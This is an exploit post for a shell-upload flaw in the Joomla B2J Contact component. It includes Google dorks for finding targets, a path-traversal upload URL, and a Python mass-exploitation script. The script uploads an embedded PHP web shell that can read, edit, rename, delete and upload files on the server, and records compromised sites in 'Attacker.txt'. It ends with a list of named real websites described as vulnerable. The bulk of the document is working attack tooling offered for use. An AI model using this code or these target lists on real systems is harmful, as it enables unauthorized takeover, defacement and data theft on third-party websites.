################################################################################################# # Exploit Title : Joomla Codextrous Com_B2jcontact Components 2.1.17 Shell Upload # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 04/01/2019 # Vendor Homepage : codextrous.com/joomla-components/b2j-contact.html + extensions.joomla.org/extension/b2j-contact/ # Software Download Link : codextrous.com/joomla-components/b2j-contact.html?utm_source=jed&utm_medium=download&utm_campaign=b2jcontact # Software Price : 29$ # Version Information : 2.1.17 # Tested On : Windows # Category : WebApps # Exploit Risk : Medium # CWE : CWE-264 [ Permissions, Privileges, and Access Controls ] + CWE-434 [ Unrestricted Upload of File with Dangerous Type ] # CVE-Details => CVE-2017-9030 - CVE-2017-5215 - CVE-2017-5214 # Cyberizm Exploit Reference Link : cyberizm.org/cyberizm-joomla-codextrous-com-b2jcontact-shell-upload-exploit.html # Exploit4Arab Reference Link : exploit4arab.org/exploits/2098 ################################################################################################# # Description : B2J Contact is one of the most popular extension of Codextrous which is used for create Contact forms. This revolutionary, multi-functional Joomla! contact form component is super easy-to-install, that brings you the ultimate in User Experience with its clean design and user friendly backend. You can create as many contact forms as you want. You can create a contact form and to display it you create its menu as well. B2J Contact component comes with a module also, by which you can display contact form where ever you want. B2J Contact has got the following main options which users may customize: Basic Option - Default Fields - Dynamic Fields - Events - Security Each section on its own opens up great custom options/fields for you to play with to get your contact form up and running smoothly. Despite its enormous functionality, B2J Contact Component is extremely lightweight with an amazing design. Whether you are making an online survey or simply creating another contact form, B2J Contact Component is there to help you! B2J Contact comes with all the below mentioned key features and more: Joomla! 3.0 Support - In-buit Form Builder - Access to extension support system - All features shown on the Demo ################################################################################################# # Google Dorks : inurl:''/index.php?option=com_b2jcontact'' inurl:''/components/com_b2jcontact/'' intext:''Another Great Website by One Spot Media.'' intext:''Bootstrap is a front-end framework of Twitter, Inc. Code licensed under MIT License. Font Awesome font licensed under SIL OFL 1.1.'' intext:''POWERED BY VISUALPROJECT WEB'' intext:''A(c) 2013-2014 Opentec SRL, tutti i diritti riservati.'' intext:''honlap: rosko.hu'' +There are more dorks. Use your brain to find more. # Exploit : /index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../"+halah # Error displaying on the page [ Error Language changes according to the country ] : {"error":"File is empty."} {"error":"No files were uploaded."} {"error":"null."} {"error":"Keine Dateien hochgeladen."} # Uploaded File Path : /components/com_b2jcontact/..... # Allowed File Extensions : .php .php5 .html .txt .jpg .jpeg .gif .png .xml .pdf and other extensions. # Use Auto Exploiter Tool for this Vulnerability. ################################################################################################# # Auto Exploitation Tool Python => import requests as r import argparse as arg import os, sys import urllib2,urllib,re from multiprocessing import Pool from multiprocessing.dummy import Pool as ThreadPool from urlparse import urlparse import random, string #Coded By KingSkrupellos #Cyberizm Digital Security Team def wibu(length): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(length)) shell = """ $value){ $_POST[$key] = stripslashes($value); } } echo ' CyBeRizM Dosya YAPneticisi Sh3LL

Cyberizm.Org / KingSkrupellos

'; if(isset($_GET['filesrc'])){ echo "
Nerde miyim? : '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '/'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo '
'; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo 'Dosya YA1/4klendi
'; }else{ echo 'Dosya YA1/4klenemedi
'; } } echo '
Dosya YA1/4kle :
Current File : "; echo $_GET['filesrc']; echo '

'; echo('
'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'
'); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
'.$_POST['path'].'

'; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo 'TamamdA+-r!
'; }else{ echo 'Malesef!
'; } } echo '
Permission :
'; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo 'Kaydedildi.
'; }else{ echo 'Kaydedilemedi.
'; } $_POST['name'] = $_POST['newname']; } echo '
New Name :
'; }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo 'Kaydedildi.
'; }else{ echo 'Kaydedilemedi.
'; } fclose($fp); } echo '

'; } echo '
'; }else{ echo '
'; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo 'Kaydedildi
'; }else{ echo 'Malesef
'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo 'Silindi.
'; }else{ echo 'Silinemedi.
'; } } } echo '
'; $scandir = scandir($path); echo '
'; foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo ""; } echo '
Dosya AdA+-
Boyut
Adegzinler
Ayarlar
$dir
--
"; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo perms("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ''; echo "
\" />
$file
".$size."
"; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo perms("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo "
\" />
'; } echo '
Only belongs to KingSkrupellos , Recoded By KingSkrupellos / Cyberizm.Org |
Bilgi: http://www.cyberizm.org/ '; function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?>""" def Fox_Contact(url): if url[-1] != "/": url = site + "/" if url[:7] != "http://" and url[:8] != "https://": url = "http://" + url return url user_agent = {'User-agent': 'Mozilla/5.0'} try : Filelist = open(sys.argv[1], 'r').readlines() for i in Filelist: try: url=i.strip() urlpa = urlparse(url) site = urlpa.netloc site=Fox_Contact(url) print "[#]Url:"+site req = urllib2.Request(url) opreq = urllib2.urlopen(req).read() b2jcomids = re.findall('',opreq) print "[+]Exploiting b2jcomid" for b2jcomid in b2jcomids: b2jcomid=str(b2jcomid) print "[#]b2jcomid:"+b2jcomid halah = str("common.php") b0x_dir = [("index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../"+halah)] diretorios=0 for diretorio in b0x_dir: diretorios += 1 url_vuln = site + diretorio shell_dir = site + "/components/com_b2jcontact/"+halah+"?ina" checa_site = r.get(url_vuln, headers=user_agent) if '{"' in checa_site.text: print( "\n[!] exploiting in {}...".format(diretorios)) envia_shell = r.post(url_vuln, data=shell, headers=user_agent) verifica_shell = r.get(shell_dir, headers=user_agent) if "Cwd:" in verifica_shell.text: a = open('Attacker.txt','a') a.write(shell_dir+'\n') print( "\n[*]Good 1 ") print( "[+] deface dir "+shell_dir) else: print("shell Upload *_* : ", shell_dir) else: print("\n[-] Fuck Sites : {}.".format(diretorios)) except Exception as ex : print "[#]Fuck Site !~! " pool = ThreadPool(10) pool.map(Fox_Contact, Filelist) pool.close() pool.join() except : print "[+] You not inputing list file" ################################################################################################# CVE Details => cvedetails.com/vulnerability-list/vendor_id-16496/product_id-37996/Codextrous-B2j-Contact.html CVE-2017-9030 The Codextrous B2J Contact (aka b2j_contact) extension before 2.1.13 for Joomla! allows a directory traversal attack that bypasses a uniqid protection mechanism, and makes it easier to read arbitrary uploaded files. CVE-2017-5215 The Codextrous B2J Contact (aka b2j_contact) extension before 2.1.13 for Joomla! allows a rename attack that bypasses a "safe file extension" protection mechanism, leading to remote code execution. CVE-2017-5214 The Codextrous B2J Contact (aka b2j_contact) extension before 2.1.13 for Joomla! allows prediction of a uniqid value based on knowledge of a time value. This makes it easier to read arbitrary uploaded files. ################################################################################################# # Original Reference Link By KingSkrupellos => cyberizm.org/cyberizm-joomla-codextrous-com-b2jcontact-shell-upload-exploit.html ################################################################################################# Another Exploiter Tool Python Coded [ If another exploit don't work - use this - Only Shell Code Changed ] ghostbin.com/paste/psoza - archive.is/sDumw ################################################################################################# # Example Vulnerable Sites : [+] garrhotel.com/welcome/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../ "%20halah&lang=en {"error":"File is empty."} {"error":null} [+] nuovaestetica.it/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../ "+halah {"error":"File is empty."} {"error":null} [+] masthamnsoperan.se/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../ "+halah {"error":"File is empty."} {"error":null} [+] raiffeisen-schwaben-allgaeu.de/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../ "+halah {"error":"File is empty."} {"error":null} [+] best-sl.fr/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../ "+halah {"error":"File is empty."} {"error":null} [+] lsvgz.de/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../ "%20halah&lang=en {"error":"File is empty."} {"error":null} [+] strand-catering.com/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../ "+halah {"error":"File is empty."} {"error":null} [+] drtoldilaszlo.hu/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../%22+halah {"error":"File is empty."} {"error":null} [+] kleintierverhalten.de/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../%22+halah {"error":"File is empty."} {"error":null} [+] infortelematica.it/site/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../ "+halah {"error":"File is empty."} {"error":null} [+] cosmo-homes.com/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../ "+halah {"error":"File is empty."} {"error":null} [+] hotelcorona.fg.it/joomla/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../ "+halah {"error":"File is empty."} {"error":null} [+] hotelruas.net/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../ "%20halah&lang=en {"error":"File is empty."} {"error":null} [+] osteriasantatrinita.it/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../ "+halah {"error":"File is empty."} {"error":null} [+] insentis.com/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../%22+halah {"error":"File is empty."} [+] ristorantepizzeriasanmartino.net/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../%22%20halah&lang=en {"error":"File is empty."} {"error":null} [+] wukrohr.de/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../%22+halah {"error":"File is empty."} {"error":null} [+] hubico.ch/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../%22%20halah&lang=en {"error":"File is empty."} {"error":null} [+] vr-lagerhaus-obb-so.de/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../%22%20halah&lang=en {"error":"File is empty."} {"error":null} [+] mercuriuscatering.nl/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../%22%20halah&lang=en {"error":"File is empty."} {"error":null} [+] rwg-essenbach.de/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../%22%20halah&lang=en {"error":"File is empty."} {"error":null} [+] liaisonsante.com/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&id=138&Itemid=138&qqfile=/../../%22+halah {"error":"File is empty."} {"error":null} + Proof of Concept for the Vulnerability : archive.li/rjRKz ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################